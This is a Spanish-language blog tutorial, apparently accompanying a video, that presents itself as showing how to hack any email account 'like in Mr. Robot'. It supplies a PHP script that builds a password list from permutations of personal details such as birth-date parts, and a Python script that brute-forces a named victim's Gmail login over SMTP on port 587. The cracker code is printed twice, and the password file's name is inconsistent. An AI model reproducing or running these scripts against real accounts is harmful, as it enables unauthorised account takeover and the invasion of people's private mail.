Hackeando cualquier correo electrónico como en MR.ROBOT – HackWise EP4
En el episodio S01EP01 de la serie de Mr.robot observamos como hackea a su psiquiatra Krista accediendo a su correo electrónico para conocer un poco más acerca de su vida. En esta ocasión analizamos y realizamos los códigos necesarios para poder crear la herramienta mepscrk.py (Mr.Ebola Password cracker) inspirada en el episodio de Mr.robot
En la serie se ve que utilizan la herramienta ELPSCRK. (ELliot’s PaSsword CRacKer) de la siguiente manera:
Como podemos observar elpscrk, permite ingresar una lista de argumentos para que el sistema calcule contraseñas en base a esa información.
Lo primero que necesitaremos es crear g3n3r4t0r.php el cual nos permitirá generar posibles contraseñas con la información que demos de alta en el arreglo $arr, en este ejemplo ingresamos ’09’, ’08’, ‘1986’.
g3n3r4t0r.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | function pc_permute($items, $perms = array()) { if (empty($items)) { echo join('', $perms) . " "; } else { for ($i = count($items) - 1; $i >= 0; --$i) { $newitems = $items; $newperms = $perms; list($foo) = array_splice($newitems, $i, 1); array_unshift($newperms, $foo); pc_permute($newitems, $newperms); } } } $arr = array('09', '08', '1986'); pc_permute($arr); ?> <!-- 09 08 1986 09 1986 08 08 09 1986 08 1986 09 1986 08 09 1986 09 08 --> |
Una vez que generamos todas las posibles contraseñas, pasamos a crear mepscrk.py el Mr.Ebola Password cracker que nos permitirá intentar conectar con el servicio smtp.gmail.com por el puerto 587. El sistema intentara contraseña por contraseña almacenada en pswd.list hasta dar con la correcta.
mepscrk.py
# ___. .__
# ____________ ____\_ |__ ____ | | _____
# / \_ __ \ _/ __ \| __ \ / _ \| | \__ \
# | Y Y \ | \/ \ ___/| \_\ ( <_> ) |__/ __ \_
# |__|_| /__| /\___ >___ /\____/|____(____ /
# \/ \/ \/ \/ \/
# .___
# ___________ ______ ________ _ _____________ __| _/
# \____ \__ \ / ___// ___/\ \/ \/ / _ \_ __ \/ __ |
# | |_> > __ \_\___ \ \___ \ \ ( <_> ) | \/ /_/ |
# | __(____ /____ >____ > \/\_/ \____/|__| \____ |
# |__| \/ \/ \/ \/
# __
# ________________ ____ | | __ ___________
# _/ ___\_ __ \__ \ _/ ___\| |/ // __ \_ __ \
# \ \___| | \// __ \\ \___| <\ ___/| | \/
# \___ >__| (____ /\___ >__|_ \\___ >__|
# \/ \/ \/ \/ \/
import smtplib
class bcolors:
OK = '\033[92m'
FAIL = '\033[91m'
BOLD = '\033[1m'
ENDC = '\033[0m'
UNDERLINE = '\033[4m'
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
print bcolors.BOLD + "Welcome to, mr.ebola Email Cracker based on MR.ROBOT - S01E01 11m03s" + bcolors.ENDC
print bcolors.BOLD + "TRYING WITH PASSWORDS IN: psw.list" + bcolors.ENDC
user = raw_input("Enter the victim's email address: ")
passwfile = "psw.list"
passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print bcolors.UNDERLINE + "Password Found: %s" % password + bcolors.ENDC
break;
except smtplib.SMTPAuthenticationError:
print bcolors.FAIL + "Password Incorrect: %s" % password + bcolors.ENDC
# ____________ ____\_ |__ ____ | | _____
# / \_ __ \ _/ __ \| __ \ / _ \| | \__ \
# | Y Y \ | \/ \ ___/| \_\ ( <_> ) |__/ __ \_
# |__|_| /__| /\___ >___ /\____/|____(____ /
# \/ \/ \/ \/ \/
# .___
# ___________ ______ ________ _ _____________ __| _/
# \____ \__ \ / ___// ___/\ \/ \/ / _ \_ __ \/ __ |
# | |_> > __ \_\___ \ \___ \ \ ( <_> ) | \/ /_/ |
# | __(____ /____ >____ > \/\_/ \____/|__| \____ |
# |__| \/ \/ \/ \/
# __
# ________________ ____ | | __ ___________
# _/ ___\_ __ \__ \ _/ ___\| |/ // __ \_ __ \
# \ \___| | \// __ \\ \___| <\ ___/| | \/
# \___ >__| (____ /\___ >__|_ \\___ >__|
# \/ \/ \/ \/ \/
import smtplib
class bcolors:
OK = '\033[92m'
FAIL = '\033[91m'
BOLD = '\033[1m'
ENDC = '\033[0m'
UNDERLINE = '\033[4m'
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
print bcolors.BOLD + "Welcome to, mr.ebola Email Cracker based on MR.ROBOT - S01E01 11m03s" + bcolors.ENDC
print bcolors.BOLD + "TRYING WITH PASSWORDS IN: psw.list" + bcolors.ENDC
user = raw_input("Enter the victim's email address: ")
passwfile = "psw.list"
passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print bcolors.UNDERLINE + "Password Found: %s" % password + bcolors.ENDC
break;
except smtplib.SMTPAuthenticationError:
print bcolors.FAIL + "Password Incorrect: %s" % password + bcolors.ENDC
El contenido del archivo psw.list deberá contener algo como esto, respetando el salto de linea para que mepscrk.py funcione correctamente.
psw.list
1 09081986
2 09198608
3 08091986
4 08198609
5 19860809
6 19860908
REVISE MOS EL SIGUIENTE VIDEO..........
Gracias a nuestro amigo HackWis quien fue el creador del video y de la herramienta usada en esta serie